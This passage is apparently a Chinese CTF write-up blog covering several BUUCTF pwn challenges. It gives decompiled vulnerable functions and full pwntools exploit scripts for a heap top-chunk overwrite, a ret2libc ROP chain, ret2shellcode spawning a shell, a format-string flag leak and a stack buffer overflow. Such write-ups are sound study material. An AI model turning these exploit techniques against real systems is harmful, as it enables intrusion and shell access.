    r.sendlineafter(b'2:puts', b'1')
    r.sendlineafter(b'size', str(size))
    r.sendafter(b'content', content)

r.sendlineafter(b'2:puts', b'1')
r.sendlineafter(b'size', str(0x200000))

r.recvuntil(b'0x')
libc_base = int(r.recv(12), 16) + 0x200ff0
li(hex(libc_base))

libc = ELF('./2.23/lib/x86_64-linux-gnu/libc-2.23.so')
gadget = 0x4526a + libc_base
realloc = libc.sym['realloc'] + libc_base
realloc_hook = libc.sym['__realloc_hook'] + libc_base

r.sendafter(b'content', b'\x00')

r.sendlineafter(b'2:puts', b'1')
r.sendlineafter(b'size', str(0x18))

r.recvuntil(b'0x')
top_chunk = int(r.recv(12), 16) + 0x10

p = b'\x00' * 0x18 + p64(0xffffffffffffffff)
r.sendafter(b'content', p)

size = realloc_hook - top_chunk - 0x20

add(size, b'a')
add(0x18, b'a' * 0x8 + p64(gadget) + p64(realloc + 0x10))

r.sendlineafter(b'2:puts', b'1')
r.sendlineafter(b'size', str(0x20))

r.interactive()

鹏城杯_2018_code

这是一个…81分的题…(你不说我还以为1分呢

感觉难点就在过一个判断,过了这个判断之后直接ret2libc

if ( angr_hash() == 0x53CBEB035LL )
      break;
__int64 angr_hash()
{
  int v1; // [rsp+10h] [rbp-10h]
  int i; // [rsp+14h] [rbp-Ch]
  __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = 0LL;
  v1 = strlen(str);
  for ( i = 0; i < v1; ++i )
    v3 = (0x75 * v3 + str[i]) % 0x1D5E0C579E0LL;
  return v3;
}

str也有一个check,总的来说就是字母就行

__int64 check_str()
{
  int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  v1 = strlen(str);
  for ( i = 0; i < v1; ++i )
  {
    if ( str[i] <= 64 )
      return 0LL;
    if ( str[i] > 90 && str[i] <= 96 )
      return 0LL;
    if ( str[i] > 122 )
      return 0LL;
  }
  return 1LL;
}

我也不知道怎么计算快捷一点,我直接试了一堆数把答案凑出来的…

exp如下

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'
libc = ELF('./2.27/libc-2.27.so')

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 29398)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendlineafter(b'Please input your name:', b'wyBTs')

pop_rdi_ret = 0x0000000000400983
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
have_fun = 0x400801

p = b'a' * 0x78 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(have_fun)
r.sendlineafter(b'Please input your code to save', p)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
ogg = 0x4f322 + libc_base

p = b'a' * 0x78 + p64(ogg)
r.sendlineafter(b'Please input your code to save', p)

r.interactive()

wdb_2018_3rd_soEasy

32位的ret2shellcode,存在栈溢出并且直接给出了输入变量的地址,直接写入shellcode然后返回到这个变量即可

ssize_t vul()
{
  char buf[72]; // [esp+0h] [ebp-48h] BYREF

  printf("Hei,give you a gift->%p\n", buf);
  puts("what do you want to do?");
  return read(0, buf, 0x64u);
}

exp如下

from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 27732)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.recvuntil(b'0x')
addr = int(r.recv(8), 16)

p = asm(shellcraft.sh())
p = p.ljust((0x48 + 0x4), b'a') + p32(addr)
r.sendline(p)

r.interactive()

judgement_mna_2016

格式化字符串漏洞,直接分析题目

int init()
{
  int result; // eax
  char filename[9]; // [esp+13h] [ebp-15h] BYREF
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  strcpy(filename, "flag.txt");
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  result = load_flag(filename, flag, 64);
  if ( !result )
  {
    printf("Loading '%s' failed...\n", filename);
    _exit(0);
  }
  return result;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // esp
  char format[64]; // [esp+0h] [ebp-4Ch] BYREF
  unsigned int v6; // [esp+40h] [ebp-Ch]
  int *p_argc; // [esp+44h] [ebp-8h]

  p_argc = &argc;
  v6 = __readgsdword(0x14u);
  v3 = alloca(144);
  printf("Flag judgment system\nInput flag >> ");
  if ( getnline(format, 0x40) )
  {
    printf(format);
    if ( !strcmp(format, flag) )
      return puts("\nCorrect flag!!");
    else
      return puts("\nWrong flag...");
  }
  else
  {
    puts("Unprintable character");
    return -1;
  }
}

运行前先将flag加载到bss段的变量中,存在栈上的格式化字符串漏洞,直接fmtargflag偏移即可

pwndbg> stack
...
18:0060│  0xffffcf80 —▸ 0xffffcfc8 —▸ 0xffffcff8 ◂— 0x1
19:0064│  0xffffcf84 —▸ 0xf7fe7ae4 (_dl_runtime_resolve+20) ◂— pop edx
1a:0068│  0xffffcf88 ◂— 0xfbad2488
1b:006c│  0xffffcf8c —▸ 0xf7e65670 (__strchr_sse2_bsf) ◂— endbr32 
1c:0070│  0xffffcf90 —▸ 0x804a0a0 (flag) ◂— 'flag{test}'
1d:0074│  0xffffcf94 —▸ 0xf7ffd990 ◂— 0x0
1e:0078│  0xffffcf98 ◂— 0x1
1f:007c│  0xffffcf9c —▸ 0x8048853 (load_flag+96) ◂— mov dword ptr [ebp - 0xc], eax
20:0080│  0xffffcfa0 —▸ 0x804a0a0 (flag) ◂— 'flag{test}'
pwndbg> fmtarg 0xffffcf90
The index of format argument : 28 ("\%27$p")
pwndbg> fmtarg 0xffffcfa0
The index of format argument : 32 ("\%31$p")

不用exp直接发送即可

judgement_mna_2016  nc node4.buuoj.cn 27773                    
Flag judgment system
Input flag >> %32$s
flag{9e28c341-3dea-42b4-9bd0-90c557068e73}
Wrong flag...

picoctf_2018_buffer overflow

漏洞点出在vulnstrcpysrc复制给dest时可以栈溢出,程序一开始将flag赋到flag变量中,直接盲猜把返回地址填成flag,然后就对了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-Ch] [ebp-1Ch]
  __gid_t v5; // [esp+0h] [ebp-10h]
  FILE *stream; // [esp+4h] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, sigsegv_handler);
  v5 = getegid();
  setresgid(v5, v5, v5, v4);
  if ( argc <= 1 )
  {
    puts("This program takes 1 argument.");
  }
  else
  {
    vuln((char *)argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  return 0;
}
char *__cdecl vuln(char *src)
{
  char dest[24]; // [esp+0h] [ebp-18h] BYREF

  return strcpy(dest, src);
}

exp(其中134520960flag变量地址

CTFMan@out:~$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaa134520960
flag{2a8640a2-f9dc-438c-b5ea-31dd2bc13f1f}

  目录